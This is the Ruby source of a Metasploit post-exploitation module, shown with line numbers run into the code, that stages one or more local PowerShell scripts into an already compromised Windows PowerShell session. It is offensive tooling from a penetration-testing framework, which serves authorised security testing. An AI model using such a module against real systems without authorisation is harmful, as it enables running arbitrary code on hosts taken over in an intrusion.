Path: blob/master/modules/post/windows/manage/powershell/load_script.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Powershell78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Load Scripts Into PowerShell Session',13'Description' => %q{14This module will download and execute one or more PowerShell scripts15over a present powershell session.16Setting VERBOSE to true will show the stager results.17},18'License' => MSF_LICENSE,19'Platform' => ['win'],20'SessionTypes' => ['powershell'],21'Author' => [22'Ben Turner benpturner[at]yahoo.com',23'Dave Hardy davehardy20[at]gmail.com'24],25'Notes' => {26'Stability' => [CRASH_SAFE],27'SideEffects' => [],28'Reliability' => []29}30)31)3233register_options(34[35OptPath.new('SCRIPT', [false, 'Path to the local PS script', ::File.join(Msf::Config.data_directory, 'post', 'powershell', 'msflag.ps1') ]),36OptPath.new('FOLDER', [false, 'Path to a local folder of PS scripts'])37]38)39end4041def run42if datastore['SCRIPT']43stage_psh_env(datastore['SCRIPT'])44end45if datastore['FOLDER']46files = ::Dir.entries(datastore['FOLDER'])47files.reject! { |u| %w[. ..].include?(u) }48files.each { |script| stage_psh_env(datastore['FOLDER'] + script) }49end50end51end525354